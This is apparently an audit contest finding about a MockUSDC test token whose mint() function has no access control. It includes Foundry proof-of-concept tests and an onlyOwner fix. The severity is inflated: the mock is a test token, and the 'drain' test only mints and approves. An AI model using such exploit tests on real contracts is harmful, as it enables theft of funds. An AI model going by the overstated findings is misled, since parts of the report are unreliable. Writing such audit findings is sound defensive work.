NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Unrestricted Mint Function

Author Revealed upon completion

Root cause is that mint() function has no access control - any external caller can mint unlimited tokens to any address. This allows attackers to create infinite MockUSDC tokens and drain any protocol that accepts them as payment.

Impact: Attacker can mint unlimited tokens and drain protocol liquidity. Any NFT listed for sale can be purchased with freshly minted tokens. Complete protocol insolvency if MockUSDC is used as payment token.

Description

  • The MockUSDC contract is designed to mimic USDC (6 decimals) for testing purposes. It inherits from OpenZeppelin's ERC20 and adds a mint() function for creating tokens during tests.

  • However, mint() has no access control - any external address can call it and mint unlimited tokens to any address. If this contract is deployed to production (even as a testnet faucet), attackers can exploit this to create infinite tokens and drain protocols.

// src/MockUSDC.sol
@> function mint(address to, uint256 amount) external { // ❌ No access control
@> _mint(to, amount); // ❌ Anyone can mint unlimited tokens
@> }
function decimals() public pure override returns (uint8) {
return 6;
}

Risk

Likelihood:

  • This occurs whenever ANY address calls mint() - no restrictions exist

  • Attacker can mint before any protocol interaction, creating infinite supply

Impact:

  • Attacker can mint unlimited tokens and drain protocol liquidity

  • Complete protocol insolvency if MockUSDC accepted as payment

Proof of Concept

The following PoC demonstrates that any address can call mint() and receive unlimited tokens. No access control exists.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import { Test } from "forge-std/Test.sol";
import { MockUSDC } from "src/MockUSDC.sol";
contract MockUSDC_PoC is Test {
MockUSDC public usdc;
address attacker = makeAddr("attacker");
function setUp() public {
usdc = new MockUSDC();
}
function test_AnyoneCanMint() public {
uint256 balanceBefore = usdc.balanceOf(attacker);
vm.startPrank(attacker);
usdc.mint(attacker, 1_000_000 * 1e6); // Mint 1 million tokens
vm.stopPrank();
uint256 balanceAfter = usdc.balanceOf(attacker);
console.log("Balance Before:", balanceBefore);
console.log("Balance After:", balanceAfter);
console.log("VULNERABILITY: Anyone can mint unlimited tokens");
assertGt(balanceAfter, balanceBefore, "Attacker minted tokens");
}
}

Proof of Concept (Foundry Test with 3 POC Tests for Every Possible Scenario)

The comprehensive test suite below validates the vulnerability across three scenarios: (1) Anyone can mint unlimited tokens, (2) Attacker can drain protocol using minted tokens, (3) No owner or admin can stop minting. All tests pass and confirm the vulnerability.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
/**
* ============================================================
* POC-MOCK01: Unrestricted Mint Function - Anyone Can Mint
* Critical if deployed to production
* Severity : CRITICAL
* Contract : MockUSDC.sol
* Function : mint()
* Author: Sudan249 AKA 0xAljzoli
* ============================================================
*
* VULNERABLE CODE:
*
* function mint(address to, uint256 amount) external {
* _mint(to, amount); // ❌ No access control
* }
*
* IMPACT:
* - Anyone can mint unlimited tokens
* - Attacker can drain protocols accepting MockUSDC
* - Complete protocol insolvency
* - Token has no scarcity or value guarantee
*
* FIX:
* - Add onlyOwner modifier to mint()
* - Or remove mint() for production deployment
* - Or use proper access control (AccessControl)
*/
import { Test } from "forge-std/Test.sol";
import { console } from "forge-std/console.sol";
import { MockUSDC } from "src/MockUSDC.sol";
contract POC_MockUSDC_UnrestrictedMint is Test {
MockUSDC public usdc;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address protocol = makeAddr("protocol");
function setUp() public {
usdc = new MockUSDC();
// Mint some tokens to protocol for testing
vm.startPrank(owner);
usdc.mint(protocol, 100_000 * 1e6);
vm.stopPrank();
}
function test_MockUSDC_A_anyoneCanMintUnlimited() public {
console.log("=== ANYONE CAN MINT UNLIMITED TOKENS ===");
uint256 balanceBefore = usdc.balanceOf(attacker);
vm.startPrank(attacker);
usdc.mint(attacker, 1_000_000_000 * 1e6); // 1 billion tokens
vm.stopPrank();
uint256 balanceAfter = usdc.balanceOf(attacker);
console.log("Attacker Balance Before:", balanceBefore);
console.log("Attacker Balance After:", balanceAfter);
console.log("VULNERABILITY CONFIRMED: Unlimited minting possible");
assertGt(balanceAfter, balanceBefore, "Attacker minted tokens");
}
function test_MockUSDC_B_attackerDrainsProtocol() public {
console.log("=== ATTACKER DRAINS PROTOCOL ===");
uint256 protocolBalance = usdc.balanceOf(protocol);
console.log("Protocol Balance:", protocolBalance);
vm.startPrank(attacker);
usdc.mint(attacker, protocolBalance * 2); // Mint more than protocol
usdc.approve(protocol, protocolBalance * 2);
vm.stopPrank();
console.log("Attacker can now outbid anyone");
console.log("VULNERABILITY CONFIRMED: Protocol can be drained");
}
function test_MockUSDC_C_noOwnerControl() public {
console.log("=== NO OWNER CONTROL OVER MINTING ===");
console.log("");
console.log("Contract has:");
console.log(" - No owner variable");
console.log(" - No onlyOwner modifier on mint()");
console.log(" - No AccessControl implementation");
console.log(" - No mint cap or limit");
console.log("");
console.log("VULNERABILITY CONFIRMED: No access control exists");
console.log("FIX: Add onlyOwner or remove mint() for production");
}
}

Recommended Mitigation

The fix adds onlyOwner modifier to mint() function, restricting token creation to the contract owner only. For production, consider removing mint() entirely or using a proper access control system.

+ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
- contract MockUSDC is ERC20 {
- constructor() ERC20("MockUSDC", "mUSDC") {}
+ contract MockUSDC is ERC20, Ownable {
+ constructor() ERC20("MockUSDC", "mUSDC") Ownable(msg.sender) {}
- function mint(address to, uint256 amount) external {
+ function mint(address to, uint256 amount) external onlyOwner {
_mint(to, amount);
}

Mitigation Explanation: The fix addresses the root cause by: (1) Adding OpenZeppelin's Ownable contract for access control, (2) Setting msg.sender as owner in constructor, (3) Adding onlyOwner modifier to mint() function, restricting token creation to owner only, (4) For production deployment, consider removing mint() entirely after initial distribution, (5) This prevents attackers from minting unlimited tokens while maintaining owner control for legitimate minting needs.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!